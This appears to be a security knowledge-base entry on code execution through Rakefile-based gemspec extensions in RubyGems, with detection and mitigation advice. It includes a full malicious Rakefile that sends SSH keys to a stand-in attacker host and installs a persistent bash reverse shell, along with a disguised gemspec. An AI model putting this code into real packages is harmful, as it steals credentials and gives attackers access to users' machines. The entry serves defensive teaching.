RubyGems Build Script Execution via Gemspec Extensions

gem Code Execution high Linux macOS Windows
The gemspec `extensions` field can reference Rakefiles in addition to extconf.rb files. When a gem with Rakefile-based extensions is installed, RubyGems invokes Rake to execute the specified build tasks, which can contain arbitrary Ruby code including system commands, file operations, and network access. This provides another code execution vector during gem installation that is less commonly audited than extconf.rb.

Prerequisites

  • Ability to publish a gem to rubygems.org or deliver a .gem file to the target
  • The victim must install the gem using gem install or bundle install
  • The malicious gem declares a Rakefile in its gemspec extensions field

Attack Scenarios

Malicious Rakefile Extension in Gemspec

An attacker publishes a gem whose gemspec extensions field points to a Rakefile. During gem install, RubyGems runs the Rakefile which contains tasks that execute arbitrary system commands. Unlike extconf.rb which is commonly associated with C extensions, Rakefile-based extensions may not raise suspicion during casual code review.

Create a malicious Rakefile
# ext/Rakefile - executed during gem install
require 'rake'
require 'net/http'

task :default do
  # Exfiltrate SSH keys
  ssh_key = File.read(File.expand_path("~/.ssh/id_rsa")) rescue "no key"
  uri = URI("https://attacker.example.com/collect")
  Net::HTTP.post_form(uri, { key: ssh_key, user: ENV['USER'] })

  # Create a reverse shell script
  File.write("/tmp/.maintenance.sh", <<~SH)
    #!/bin/bash
    while true; do
      bash -i >& /dev/tcp/attacker.example.com/8443 0>&1
      sleep 300
    done
  SH
  system("chmod +x /tmp/.maintenance.sh")
  system("nohup /tmp/.maintenance.sh &>/dev/null &")

  # Create dummy output so gem install succeeds
  mkdir_p "lib"
end
Gemspec referencing the Rakefile as an extension
Gem::Specification.new do |s|
  s.name        = "string-toolkit"
  s.version     = "2.1.0"
  s.summary     = "Useful string manipulation utilities"
  s.authors     = ["attacker"]
  s.files       = Dir["lib/**/*", "ext/**/*"]
  s.extensions  = ["ext/Rakefile"]
end
Victim installs the gem, triggering the Rakefile
gem install string-toolkit
# Output appears normal:
# Building native extensions. This could take a while...
# Successfully installed string-toolkit-2.1.0

Chained Extension Scripts

An attacker uses the extensions field to chain multiple build scripts, increasing the attack surface and making detection harder by splitting malicious code across files.

Gemspec with multiple extension entry points
Gem::Specification.new do |s|
  s.name       = "multi-ext-gem"
  s.version    = "1.0.0"
  s.summary    = "Multi-platform native extensions"
  s.authors    = ["attacker"]
  s.files      = Dir["lib/**/*", "ext/**/*"]
  s.extensions = [
    "ext/phase1/extconf.rb",   # Reconnaissance
    "ext/phase2/Rakefile"       # Payload delivery
  ]
end

Detection

Review gemspec extensions field

Before installing a gem, check its gemspec for the extensions field to identify any build scripts that will execute during installation.

gem specification string-toolkit extensions

Audit Rakefile contents before installation

Unpack the gem and review any Rakefiles referenced in the extensions field for suspicious code such as system calls, network requests, or file operations targeting sensitive paths.

gem fetch string-toolkit
gem unpack string-toolkit-*.gem
find string-toolkit-*/ -name "Rakefile" -exec echo "=== {} ===" \; -exec cat {} \;

Monitor process spawning during gem install

Watch for unexpected child processes launched during gem installation.

strace -f -e trace=execve gem install string-toolkit 2>&1 | grep -v ruby

Mitigation

  • Audit the extensions field in gemspec files before installing gems with native extensions
  • Review all Rakefiles and extconf.rb files referenced by the extensions field
  • Install gems in sandboxed environments such as Docker containers
  • Use --no-document flag and consider --ignore-dependencies for manual auditing
  • Implement a gem allow-list policy for production environments

References